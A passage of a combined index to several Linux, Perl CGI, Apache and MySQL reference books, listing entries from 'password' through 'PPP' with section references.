4.1. Logging In (Running Linux)
4.1. Logging In (Running Linux)
5.7.1. The passwd File (Running Linux)
401 status code responses, asking for: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
anonymous access: 5.8. Anonymous Access (Apache: The Definitive Guide)
attributes, password fields: 4.2.3.2. Password fields (CGI Programming with Perl)
checking (see authentication)
DBM files for: 5.5.1. DBM Files on Unix (Apache: The Definitive Guide)
encrypted, in user file: 2.3.2.4. Authorization (CGI Programming with Perl)
GET requests, including for: 4.2.3.2. Password fields (CGI Programming with Perl)
group: 5.7.4. The Group File (Running Linux)
Password element: 7.2.1.1. Validating elements (CGI Programming with Perl)
password fields, representing with characters: 4.2.3.2. Password fields (CGI Programming with Perl)
root: 5.1. Running the System (Running Linux)
shadow passwords: 5.7.2. Shadow Passwords (Running Linux)
Unix systems: 5.3. Passwords Under Unix (Apache: The Definitive Guide)
Win32 systems: 5.4. Passwords Under Win32 (Apache: The Definitive Guide)
Windows partitions (shares): 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network (Running Linux)
Windows services: 12.1.3.2. Configuring Samba (Running Linux)
paste command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
pasting text: 11.4.3. Cutting and Pasting Selections (Running Linux)
11.4.7. Emacs (Running Linux)
patch command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
7.4.1.2. Applying patches (Running Linux)
14.2.9. Patching Files (Running Linux)
patches: 7.4.1. Obtaining Kernel Sources (Running Linux)
(see also upgrading)
applying: 7.4.1.2. Applying patches (Running Linux)
patches, kernel: 7.4.1. Obtaining Kernel Sources (Running Linux)
patching files: 14.2.9. Patching Files (Running Linux)
patents: 13.5.1. Patent Rights (Apache: The Definitive Guide)
path: 4.10. What Is a Command? (Running Linux)
current working directory: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
for man pages: 4.12. Manual Pages (Running Linux)
include: 13.1.7. More Fun with Libraries (Running Linux)
man page: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
PATH environment variable: 9.4.2. Security (MySQL & mSQL)
$PATH environment variable (CVS): 14.4.2. Configuring CVS (Linux in a Nutshell)
PATH_APPLET environment variable: 13.6.4. Executing Java Programs Like Ordinary Programs (Running Linux)
pathchk command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
PATH_INFO environment variable: 9.3. The CGI Specification (MySQL & mSQL)
PATH_JAVA environment variable: 13.6.4. Executing Java Programs Like Ordinary Programs (Running Linux)
pathnames: 0.3.3. Pathnames (Apache: The Definitive Guide)
1.4. What the Client Does (Apache: The Definitive Guide)
API functions for: 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
paths: 3.4.7. ServerPath (Apache: The Definitive Guide)
cgi in URL: 1.4.1.1. Configuring by directory (CGI Programming with Perl)
default, Apache installation: 1.4. Web Server Configuration (CGI Programming with Perl)
filenames, varying delimiters among operating systems: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
filesystem, providing for files included in templates: 6.3.1.3. Including other files (CGI Programming with Perl)
full, creating to files: 12.2. Searching One by One, Take Two (CGI Programming with Perl)
full vs. relative in relative URLs: 2.1.2. Absolute and Relative URLs (CGI Programming with Perl)
index: 12.3.1. Search Application (CGI Programming with Perl)
default: 12.3. Inverted Index Search (CGI Programming with Perl)
specifying to: 12.3. Inverted Index Search (CGI Programming with Perl)
invalid, to interpreted scripting languages: 15.1.2. The Pound-Bang (CGI Programming with Perl)
to sendmail program from procmail: 9.7.1. Autoreply from nobody (CGI Programming with Perl)
URLs: 2.1.1. Elements of a URL (CGI Programming with Perl)
12.3.1. Search Application (CGI Programming with Perl)
extra information, maintaining state with: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
for CGI scripts: 2.1.1. Elements of a URL (CGI Programming with Perl)
passing unique identifiers as extra information: 11. Maintaining State (CGI Programming with Perl)
protectedNews module (example): 2.3.2.4. Authorization (CGI Programming with Perl)
relative vs. full: 2.1.2. Absolute and Relative URLs (CGI Programming with Perl)
virtual paths: 1.4.1.1. Configuring by directory (CGI Programming with Perl)
Windows system files, browser handling of: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
PATH_TRANSLATED environment variable: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
pattern addressing (sed): 12.3.1. Pattern Addressing (Linux in a Nutshell)
pattern-matching: 7.4.1. Variable Substitution (Linux in a Nutshell)
9. Pattern Matching (Linux in a Nutshell)
bash operators for: 7.4.1. Variable Substitution (Linux in a Nutshell)
gawk language and: 13.3.1. Patterns (Linux in a Nutshell)
patterns
filename (see filename patterns)
rules for (make): 13.2.4. Suffix Rules and Pattern Rules (Running Linux)
search and replace (vi): 9.1.10. Global Searching and Replacing (Running Linux)
searching and replace (Emacs): 9.2.5. Searching and Replacing (Running Linux)
p2c translator: 13.7. Other Languages (Running Linux)
pcalloc( ): 14.6.1. Pool Functions (Apache: The Definitive Guide)
#PCDATA: 14.3. Document Type Definition (CGI Programming with Perl)
PCI-bus devices: 7.4.2. Building the Kernel (Running Linux)
pclose( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
pclosef( ): 14.6.5. File and Socket Functions (Apache: The Definitive Guide)
PCMCIA sockets, controlling: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
PCMCIA Tools package: 1.9. Hardware Requirements (Running Linux)
pcomm package: H.5. Other Interesting Packages (Running Linux)
PDF (Portable Document Format): 13.1.4. PDF (CGI Programming with Perl)
Image::Magick module, support for: 13.5.3. PDF and PostScript Support (CGI Programming with Perl)
pdisk utility: D.3.2. Partitioning the Hard Disk (Running Linux)
PDK (Perl Development Kit), obtaining from ActiveState web site: 15.3.5.3. ActiveState Perl debugger (CGI Programming with Perl)
PDL (page description language): 8.4.3. Choosing Printer Software (Running Linux)
peformance, Perl CGI programs
Perl techniques for improving
localizing variables with my: 17.1.3. Localize Variables with my (CGI Programming with Perl)
SelfLoader module, using: 17.1.6. SelfLoader (CGI Programming with Perl)
shell, avoiding: 17.1.8. Avoid the Shell (CGI Programming with Perl)
slurping, avoiding: 17.1.4. Avoid Slurping (CGI Programming with Perl)
undef vs. ( ): 17.1.5. undef Versus ( ) (CGI Programming with Perl)
pending jobs (see jobs)
per-directory configuration: 14.3. Per-Directory Configuration (Apache: The Definitive Guide)
15.3.2. Create Per-Directory Config Structure (Apache: The Definitive Guide)
15.3.4. Per-Directory Merger (Apache: The Definitive Guide)
per-request information: 14.4. Per-Request Information (Apache: The Definitive Guide)
per-server configuration: 14.2. Per-Server Configuration (Apache: The Definitive Guide)
15.3.1. Create Per-Server Config Structure (Apache: The Definitive Guide)
15.3.3. Per-Server Merger (Apache: The Definitive Guide)
% for job numbers: 4.11. Putting a Command in the Background (Running Linux)
percent sign (%)
hashes, use of: 12.3.1. Search Application (CGI Programming with Perl)
14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
URL-encoded characters: 4.1. Sending Data to the Server (CGI Programming with Perl)
decoding: 4.3. Decoding Form Input (CGI Programming with Perl)
representing: 2.1.3. URL Encoding (CGI Programming with Perl)
percent sign (%) for job numbers: 4.11. Putting a Command in the Background (Running Linux)
performance: 0.1. Why People Like Linux (Running Linux)
AlphaLinux installation: C.7.2. Performance and Library Tuning (Running Linux)
caching: 9.2. Caching (Apache: The Definitive Guide)
CPU load: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
graphing system load average: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
improving CGI programs: 12.4. Faster CGI Programs (Apache: The Definitive Guide)
Java programs: 13.6.1. The Promise of Java, or Why You Might Want to Use Java (Running Linux)
PK encryption: 13.3. Binary Signatures, Virtual Cash (Apache: The Definitive Guide)
printer: 8.4.13. Printer Optimization (Running Linux)
rating tools: 14.2.2. Profiling and Performance Tools (Running Linux)
setting keyboard repeat speed: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
throttling connections: 12.8. Throttling Connections (Apache: The Definitive Guide)
performance and temporary files, named vs. anonymous: 10.1.3.2. Named temporary files (CGI Programming with Perl)
performance, Perl CGI programs
Perl techniques for improving: 17.1. Basic Perl Tips, Top Ten (CGI Programming with Perl)
autouse feature: 17.1.7. autouse (CGI Programming with Perl)
benchmarking code: 17.1.1. Benchmark Your Code (CGI Programming with Perl)
benchmarking modules: 17.1.2. Benchmark Modules, Too (CGI Programming with Perl)
existing solutions, finding: 17.1.9. Find Existing Solutions for Your Problems (CGI Programming with Perl)
regular expressions, using: 17.1.10. Regular Expressions (CGI Programming with Perl)
period (.) or dash (-), starting filenames with: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
PERIOD_ADD( ) function: 15.1. MySQL SQL (MySQL & mSQL)
PERIOD_DIFF( ) function: 15.1. MySQL SQL (MySQL & mSQL)
Perl: 1.2. Perl (Programming the Perl DBI)
accepting input in: 9.3.4. Accepting Input in Perl (MySQL & mSQL)
ActiveState version: B.1. Acquiring the DBI and Drivers (Programming the Perl DBI)
using ADO: 7.8. And What About ADO? (Programming the Perl DBI)
advantages: 10. Perl (MySQL & mSQL)
binding variables to output columns: 5.4. Binding Output Columns (Programming the Perl DBI)
database proxying: 8.2. Database Proxying (Programming the Perl DBI)
datatypes, retrieving data using: 5.1.3. Fetching Data (Programming the Perl DBI)
DBD::ODBC and ODBC: 7.4. ODBC from Perl (Programming the Perl DBI)
DBI shell program (dbish): 8.1. dbish--The DBI Shell (Programming the Perl DBI)
delete operator: 2.7.4. Deleting Values (Programming the Perl DBI)
embedded: 12.4. Embedded Perl (MySQL & mSQL)
garbage collector: 5.1.5. Deallocating Statement Handles (Programming the Perl DBI)
language: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
modules, extending functionality of: 1.2. Perl (Programming the Perl DBI)
mSQL and: 5.6.2.4. Programming interfaces (MySQL & mSQL)
Msql.pm module: 10.3. Msql.pm (MySQL & mSQL)
Net::Daemon module: 8.2.1.1. Setting up a proxy server (Programming the Perl DBI)
8.2.2. Advanced Topics (Programming the Perl DBI)
Perl 5: 21.1. Installation (MySQL & mSQL)
PIRPC module: 8.2.1.1. Setting up a proxy server (Programming the Perl DBI)
8.2.2. Advanced Topics (Programming the Perl DBI)
scripts: 5.2.4. Scripts (Linux in a Nutshell)
9.3.1. Environment Variables (MySQL & mSQL)
signal handling: A.8.2. Signal Handling and Canceling Operations (Programming the Perl DBI)
string-handling capabilities: 5.1.1.1. Constructing "on-the-fly" statements (Programming the Perl DBI)
5.3.1. Bind Values Versus Interpolated Statements (Programming the Perl DBI)
using threads: A.8.1. Threads and Thread Safety (Programming the Perl DBI)
web links: A.9.5. Assorted Related WWW Links (Programming the Perl DBI)
Win32::ODBC and ODBC: 7.4. ODBC from Perl (Programming the Perl DBI)
Perl binary: 4.5. MySQL Utilities (MySQL & mSQL)
Perl Database Interface (see DBI)
perl interpreter: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
(see also interpreters)
embedding within web server: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
Perl language: 13.4. Using Perl (Running Linux)
aliases for imported symbols: 5.1.3. Standard and Object-Oriented Syntax (CGI Programming with Perl)
buffering output to STDOUT for web server: 3.1.1.2. STDOUT (CGI Programming with Perl)
capitalization conventions: 16.2. Coding Guidelines (CGI Programming with Perl)
CGI (see CGI programs, CGI)
chr function, converting hexadecimal values to characters: 2.1.3. URL Encoding (CGI Programming with Perl)
coding techniques, avoiding bugs with: 15.2. Perl Coding Techniques (CGI Programming with Perl)
binmode, use of: 15.2.7. Use binmode (CGI Programming with Perl)
checking status of system calls: 15.2.2. Check Status of System Calls (CGI Programming with Perl)
file locking: 15.2.5. File Locking (CGI Programming with Perl)
strict module, using: 15.2.1. Use strict (CGI Programming with Perl)
unbuffering output stream: 15.2.6. Unbuffer Output Stream (CGI Programming with Perl)
using with Tk via Tk.pm: 15.3.5.2. ptkdb (CGI Programming with Perl)
commands in Embperl documents, surrounding with brackets: 6.4.2.1. Embperl code blocks (CGI Programming with Perl)
data structures
printing with Data::Dumper module: 15.3.4. Dumping Variables (CGI Programming with Perl)
related URLs and subsequent related URLs: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
data types (see data types)
DBI, using with: 10.4. DBI (CGI Programming with Perl)
DBM files, storing as objects in: 10.2.2. MLDBM (CGI Programming with Perl)
debugger: 15.3.5. Debuggers (CGI Programming with Perl)
15.3.5.3. ActiveState Perl debugger (CGI Programming with Perl)
(see also debugging)
ActiveState debugger: 15.3.5.3. ActiveState Perl debugger (CGI Programming with Perl)
documentation for: 15.3.5.1. The Perl debugger (CGI Programming with Perl)
default input record separator ($/): 12.3. Inverted Index Search (CGI Programming with Perl)
embedding within Apache web server: 17.3. mod_perl (CGI Programming with Perl)
Embperl module, shifting Perl code into HTML documents: 6.4. Embperl (CGI Programming with Perl)
end-of-line characters, translating to \n: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
FastCGI and: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
forking: 8.2.3. Security Strategies (CGI Programming with Perl)
functions vs. methods: 5.1.3. Standard and Object-Oriented Syntax (CGI Programming with Perl)
grep function: 12.2. Searching One by One, Take Two (CGI Programming with Perl)
here documents: 5.4.2. Here Documents (CGI Programming with Perl)
libraries, storing in site_perl directory: 5.5.4. Custom Module (CGI Programming with Perl)
linefeeds and carriage returns on different operating systems: 3.3.1.1. Outputting documents (CGI Programming with Perl)
list vs. scalar context: 2.4.2.4. Date (CGI Programming with Perl)
mailers: 9.6. Perl Mailers (CGI Programming with Perl)
modules: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
B. Perl Modules (CGI Programming with Perl)
Apache::ASP: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
CGIBook::UserTracker: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
creating your own: 5.5.4. Custom Module (CGI Programming with Perl)
HTML::Mason module: 6.5. Mason (CGI Programming with Perl)
LWP module: 8.2.5. Trusting the Browser (CGI Programming with Perl)
open source: 1.3.1. Why Perl? (CGI Programming with Perl)
standard Perl script vs.: 5.5.4. Custom Module (CGI Programming with Perl)
WDDX.pm: 7.3.1. WDDX (CGI Programming with Perl)
XML::Parser: 14.3. Document Type Definition (CGI Programming with Perl)
newsgroups: A.6. Newsgroups (CGI Programming with Perl)
packages: 5.1.3. Standard and Object-Oriented Syntax (CGI Programming with Perl)
performance of CGI scripts, improving: 17.1. Basic Perl Tips, Top Ten (CGI Programming with Perl)
autouse feature: 17.1.7. autouse (CGI Programming with Perl)
benchmarking: 17.1.1. Benchmark Your Code (CGI Programming with Perl)
existing solutions, finding: 17.1.9. Find Existing Solutions for Your Problems (CGI Programming with Perl)
localizing variables with my: 17.1.3. Localize Variables with my (CGI Programming with Perl)
regular expressions, using: 17.1.10. Regular Expressions (CGI Programming with Perl)
SelfLoader module, using: 17.1.6. SelfLoader (CGI Programming with Perl)
shell, avoiding: 17.1.8. Avoid the Shell (CGI Programming with Perl)
slurping, avoiding: 17.1.4. Avoid Slurping (CGI Programming with Perl)
undef vs. ( ): 17.1.5. undef Versus ( ) (CGI Programming with Perl)
pipes to external programs: 8.2.2. User Input and the Shell (CGI Programming with Perl)
PPM (Perl Package Manager): 10.4.1. Using DBI (CGI Programming with Perl)
printing, STDOUT and: 1.2. Introduction to CGI (CGI Programming with Perl)
qq// operator: 5.4.2. Here Documents (CGI Programming with Perl)
quotemeta function: 12.2. Searching One by One, Take Two (CGI Programming with Perl)
scalar representations of array references: 4.3. Decoding Form Input (CGI Programming with Perl)
STDERR, not buffering: 3.1.1.3. STDERR (CGI Programming with Perl)
storage locations, different operating systems: 15.1.2. The Pound-Bang (CGI Programming with Perl)
syntax errors, checking with -wc switch: 15.1.4. "Malformed" Header (CGI Programming with Perl)
taint mode: 8.4. Perl's Taint Mode (CGI Programming with Perl)
common problems with: 8.4.5. Common Problems with Taint Mode (CGI Programming with Perl)
data monitored by: 8.4.2. What Is Monitored by Taint Mode (CGI Programming with Perl)
how it works: 8.4.1. How Taint Works (CGI Programming with Perl)
reasons for using: 8.4.4. Why Use Taint Mode? (CGI Programming with Perl)
removing taint: 8.4.3. How Taintedness Is Removed (CGI Programming with Perl)
text files (see text files)
tie mechanism: 10.1.1.1. flock (CGI Programming with Perl)
turning on warnings and taint checking: 1.2.1. Sample CGI (CGI Programming with Perl)
underscore (_), use in: 16.2. Coding Guidelines (CGI Programming with Perl)
version, getting with -v flag: 15.1.2. The Pound-Bang (CGI Programming with Perl)
XML::Parser library, online information: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
perldoc DBI command: A. DBI Specification (Programming the Perl DBI)
perldoc (documentation viewer): B.2. perldoc (CGI Programming with Perl)
PerlEx module: 17. Efficiency and Optimization (CGI Programming with Perl)
PerlMagick module (see Image::Magick module: 13.5. PerlMagick (CGI Programming with Perl)
permanent moves, URLs of requested resources: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
"permission denied" error: 3.3.3. Problems Installing the Software (Running Linux)
3.3.4.4. Problems using the system (Running Linux)
6.1.2. Mounting Filesystems (Running Linux)
permissions: 3.3.4.4. Problems using the system (Running Linux)
4.13. File Ownership and Permissions (Running Linux)
applications, CGI errors and: 15.1.1. Application Permissions (CGI Programming with Perl)
CGI programs
checking: 15.1.1. Application Permissions (CGI Programming with Perl)
configuring web server to set: 3.1. The CGI Environment (CGI Programming with Perl)
execute, turning offf: 1.4.1.2. Configuring by extension (CGI Programming with Perl)
forbidden (403 status code): 3.3.1.3. Specifying status codes (CGI Programming with Perl)
denied during booting: 3.3.1. Problems with Booting the Installation Media (Running Linux)
device: 6.3. Device Files (Running Linux)
email users, security risks of: 9.1.2. False Identities (CGI Programming with Perl)
files
changing with chmod command: 15.1.1. Application Permissions (CGI Programming with Perl)
data storage: 8.5.3. File Permissions (CGI Programming with Perl)
server running as user: 10.1.2. Write Permissions (CGI Programming with Perl)
filesystems as read-only: 6.1.2. Mounting Filesystems (Running Linux)
hash files, read/write: 10.2.1. DB_File (CGI Programming with Perl)
print services: 8.4.10.2. File, directory, and utility privileges (Running Linux)
8.4.14. Printer System Troubleshooting (Running Linux)
text files, writing to: 10.1.2. Write Permissions (CGI Programming with Perl)
Windows files: 12.1.3.2. Configuring Samba (Running Linux)
permissions, file
changing: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
file ownership: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
groups: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
octal numbers for: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
permissions (Unix): 2.4.4. Unix Permissions (Apache: The Definitive Guide)
suEXEC utility: 4.7. suEXEC on Unix (Apache: The Definitive Guide)
persistent-state cookies: 5.10.3. CookieLog (Apache: The Definitive Guide)
pfclose( ): 14.6.5. File and Socket Functions (Apache: The Definitive Guide)
pfdopen( ): 14.6.5. File and Socket Functions (Apache: The Definitive Guide)
pfopen( ): 14.6.5. File and Socket Functions (Apache: The Definitive Guide)
Pg (see DBD\\Pg driver)
Philips CD-ROM interfaces: 3.1.1. Booting Linux (Running Linux)
philosophy of Linux: 1.7. Open Source and the Philosophy of Linux (Running Linux)
phone directory interface (consolidated), using CGI middleware: 14. Middleware and XML (CGI Programming with Perl)
phony targets: 13.2.1. What make Does (Running Linux)
PHP: 18.1. PHP (MySQL & mSQL)
CGI interface: 4.5.2.2. CGI interfaces (MySQL & mSQL)
quick reference guide: 18.1. PHP (MySQL & mSQL)
scripting with: 12.3. PHP (MySQL & mSQL)
PHP command: 5.6.2.2. CGI interfaces (MySQL & mSQL)
PHP programming language: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
phpinfo( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
phpversion( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
physical text wrapping: 4.2.5. The <TEXTAREA> Tag (CGI Programming with Perl)
PI( ) function: 15.1. MySQL SQL (MySQL & mSQL)
pid( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
PID, checking for child processes: 15.2.3. Is It Open? (CGI Programming with Perl)
PidFile directive: 3.4.9. PidFile (Apache: The Definitive Guide)
Pid_File variable: 16.2.2.1. general (MySQL & mSQL)
pidof command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
PIDs (process identifiers): 2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
pie charts
commute_pie.cgi script: 13.4.2. GD::Graph (CGI Programming with Perl)
creating with GD::Graph::pie module: 13.4.2. GD::Graph (CGI Programming with Perl)
three dimensional, creating with GD::Graph::pie3d: 13.4.3. GD::Graph3D (CGI Programming with Perl)
Pike-mysql: 4.5.2.4. Programming interfaces (MySQL & mSQL)
ping( ): A.6.1. Database Handle Methods (Programming the Perl DBI)
ping command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
4.4.1.6. Command line options for mysqladmin (MySQL & mSQL)
17.1. MySQL Utilities (MySQL & mSQL)
ping function: 21.2. DBI.pm API (MySQL & mSQL)
pinging hosts: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
pinging IP addresses: 2.5. Setting Up a Win32 Server (Apache: The Definitive Guide)
pipe (|): 4.9. Saving Your Output (Running Linux)
piped logs, API functions for: 14.6.21. Piped Log Functions (Apache: The Definitive Guide)
pipes
email messages through Perl scripts: 9.7.2. Forwarding to Another User (CGI Programming with Perl)
to external applications: 8.2.1. Calling External Applications (CGI Programming with Perl)
checking execution within: 15.2.3. Is It Open? (CGI Programming with Perl)
delimiting files with: 10.1.4. Delimiters (CGI Programming with Perl)
mail clients: 9.1.1. Mailers and Shells (CGI Programming with Perl)
replacing with fork: 8.2.4. fork and exec (CGI Programming with Perl)
security risks: 8.2.2. User Input and the Shell (CGI Programming with Perl)
opening to fgrep command for reading: 12.1. Searching One by One (CGI Programming with Perl)
processes, checking status with kill function: 15.2.3. Is It Open? (CGI Programming with Perl)
pixel graphics: 12.1.5. File Translation Utilities (Running Linux)
PixmapPath command (fvwm): 11.2.1. Configuring fvwm (Running Linux)
PK encryption: 13.3. Binary Signatures, Virtual Cash (Apache: The Definitive Guide)
legal issues: 13.5.2. National Security (Apache: The Definitive Guide)
pl variable (printcap): 8.4.5.3. The rest of the printcap variables (Running Linux)
placeholders (see bind values)
plain buttons: 4.2.3.9. Plain buttons (CGI Programming with Perl)
.plan file: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
platform independence: 13.6.1. The Promise of Java, or Why You Might Want to Use Java (Running Linux)
Plug-and-Play support: 7.4.2. Building the Kernel (Running Linux)
Pluggable Authentication Methods (PAM): 5.7.3. PAM and Other Authentication Methods (Running Linux)
plus sign (+)
encoding spaces in URLs: 2.1.3. URL Encoding (CGI Programming with Perl)
keywords, separating in queries: 5.2.2.3. Index queries (CGI Programming with Perl)
pattern-matching metacharacter: 9.3. Metacharacters (Linux in a Nutshell)
pattern-matching metacharacter: 9.3. Metacharacters (Linux in a Nutshell)
replacing spaces in URL text: 4.1. Sending Data to the Server (CGI Programming with Perl)
XML elements: 14.3. Document Type Definition (CGI Programming with Perl)
.pm extension (Perl modules): 5.5.4. Custom Module (CGI Programming with Perl)
.pm files: 4.3. Data Source Names (Programming the Perl DBI)
PNG images: 3.4.1. Check the Client Browser (CGI Programming with Perl)
Chart::PNGgraph: 13.4.2. GD::Graph (CGI Programming with Perl)
converting to GIF or JPEG: 13.5.2. Converting PNGs to GIFs or JPEGs (CGI Programming with Perl)
features, added over GIF: 13.1.2. PNG (CGI Programming with Perl)
generating with GD module: 13.3. Generating PNGs with GD (CGI Programming with Perl)
linking to HTML pages: 3.4.1. Check the Client Browser (CGI Programming with Perl)
point and line charts combination, creating with GD::Graph::linespoints module: 13.4.2. GD::Graph (CGI Programming with Perl)
point charts, creating with GD::Graph::points module: 13.4.2. GD::Graph (CGI Programming with Perl)
point-sized imagemap hotspots: 7.3.4. HTML File (Apache: The Definitive Guide)
Point-to-Point Protocol (see PPP)
pointer focus model, fvwm2: 17.6. Specifying Click-to-Type Focus (Linux in a Nutshell)
pointer, moving with keystrokes (fvwm2): 17.13.2. Moving the Pointer with Keystrokes (Linux in a Nutshell)
pointers to directories, CGI application organization and: 16.1.2. Use Directories to Organize Your Projects (CGI Programming with Perl)
pointing devices: 1.9.6.1. Mice and other pointing devices (Running Linux)
3.1.1. Booting Linux (Running Linux)
Alpha systems and: C.5.5. Mice and Serial Ports (Running Linux)
LinuxPPC and: D.6.1. Single-Button Mice (Running Linux)
polygonal imagemap hotspots: 7.3.4. HTML File (Apache: The Definitive Guide)
pools: 14.1. Pools (Apache: The Definitive Guide)
14.6. Functions (Apache: The Definitive Guide)
popd command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
popd command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
popen( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
popenf( ): 14.6.5. File and Socket Functions (Apache: The Definitive Guide)
port address: 15.1.1. TCP/IP Concepts (Running Linux)
port-based virtual hosting: 3.8.4. Port-Based Virtual Hosting (Apache: The Definitive Guide)
Port directive: 3.9.2. Port (Apache: The Definitive Guide)
port numbers: 2.1.1. Elements of a URL (CGI Programming with Perl)
ommitting in URLs: 2.1.2. Absolute and Relative URLs (CGI Programming with Perl)
httpd: 16.1.3.1. httpd.conf (Running Linux)
portability: 1.4.2. A Bag of Features (Running Linux)
14.1.2. Maintaining Portability Using Properties Files (MySQL & mSQL)
Portable Network Graphic image format (see PNG images)
ports: 1. Getting Started (Apache: The Definitive Guide)
1.3. How Does Apache Use TCP/IP? (Apache: The Definitive Guide)
3.9.2. Port (Apache: The Definitive Guide)
pos( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
position( ) method: 22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
POSIX character lists: 9.3. Metacharacters (Linux in a Nutshell)
POSIX module: 10.1.3.2. Named temporary files (CGI Programming with Perl)
POST form: 9.3. The CGI Specification (MySQL & mSQL)
POST method: 16.1.5.1. The HTML form document (Running Linux)
9.3.3. Standard Input (MySQL & mSQL)
POST method (HTTP): 4.1.2. What Is an HTTP Method? (Apache: The Definitive Guide)
post read requests: 15.3.8. Post Read Request (Apache: The Definitive Guide)
POST requests: 2.3.1.4. POST (CGI Programming with Perl)
300-level status code responses to: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
Content-length and Content-type fields: 2.3.2.2. Content-Length (CGI Programming with Perl)
Content-length header, referring to: 3.1.1.1. STDIN (CGI Programming with Perl)
form data to URLs with keywords: 5.2.2.3. Index queries (CGI Programming with Perl)
limiting size of: 5.1.1. Denial of Service Attacks (CGI Programming with Perl)
mailing list form (example): 4.1. Sending Data to the Server (CGI Programming with Perl)
options, including in: 4.1. Sending Data to the Server (CGI Programming with Perl)
query strings, accessing from URLs: 4.3. Decoding Form Input (CGI Programming with Perl)
query strings and: 5.2.2.2. POST and the query string (CGI Programming with Perl)
query_string method and: 5.2.1.4. query_string (CGI Programming with Perl)
URL tampering and: 8.2.5. Trusting the Browser (CGI Programming with Perl)
Postgres, requirements: 1.4.1.1. David Hughes (MySQL & mSQL)
PostgreSQL: 7.3. PostgreSQL (MySQL & mSQL)
PostgresSQL (see DBD\\Pg driver)
postmaster: 16.2.1.2. Configuring a Linux-installed smail package (Running Linux)
16.2.1.5. The mkconfig file (Running Linux)
PostQUEL, compared to Postgres: 1.4.1.1. David Hughes (MySQL & mSQL)
PostScript: 8.4.3. Choosing Printer Software (Running Linux)
Ghostview and: 11.4.8. Ghostview: Displaying PostScript (Running Linux)
nenscript and (see nenscript)
TeX and (see TeX)
PostScript image file format: 13.5.3. PDF and PostScript Support (CGI Programming with Perl)
pound-bang (#!) line: 15.1.2. The Pound-Bang (CGI Programming with Perl)
-c flag and: 15.3.1. Check Syntax (CGI Programming with Perl)
POVRAY program: 9.4.3. POVRAY (Running Linux)
POW( ) function: 15.1. MySQL SQL (MySQL & mSQL)
power management system, KDE: 16.3.2.6. DPMS (Linux in a Nutshell)
PowerBook trackpads with LinuxPPC: D.6.2. PowerBook Trackpads (Running Linux)
powerd daemon: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
poweroff command: 3.2.4. Shutting Down the System (Running Linux)
PowerPC computers, Linux on: D. LinuxPPC: Installing Linux on PowerPC Computers (Running Linux)
hardware concerns: D.6. Getting Hardware to Do What You Want It to Do (Running Linux)
kernel and library concerns: D.2. Kernel and Library Issues (Running Linux)
preparing to boot: D.3. Preparing to Boot LinuxPPC (Running Linux)
Red Hat Installer: D.4. Using the Red Hat Installer (Running Linux)
PowerSTACK: D.1.1. Other PowerPC Platforms (Running Linux)
PPM (Perl Package Manager): 10.4.1. Using DBI (CGI Programming with Perl)
2.7. DBM Files and the BerkeleyDatabase Manager (Programming the Perl DBI)
8.2.1.1. Setting up a proxy server (Programming the Perl DBI)
B.1. Acquiring the DBI and Drivers (Programming the Perl DBI)
PPP (Point-to-Point Protocol): 2.3.4.2. Serial-line communication (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
1.5.7. Networking (Running Linux)
15.1. Networking with TCP/IP (Running Linux)
15.1.2. Hardware Requirements (Running Linux)
configuring DNS: 15.2.1.3.3. Configuring DNS (Running Linux)
dial-up: 15.2. Dial-up PPP (Running Linux)
over ISDN: 15.3. PPP over ISDN (Running Linux)
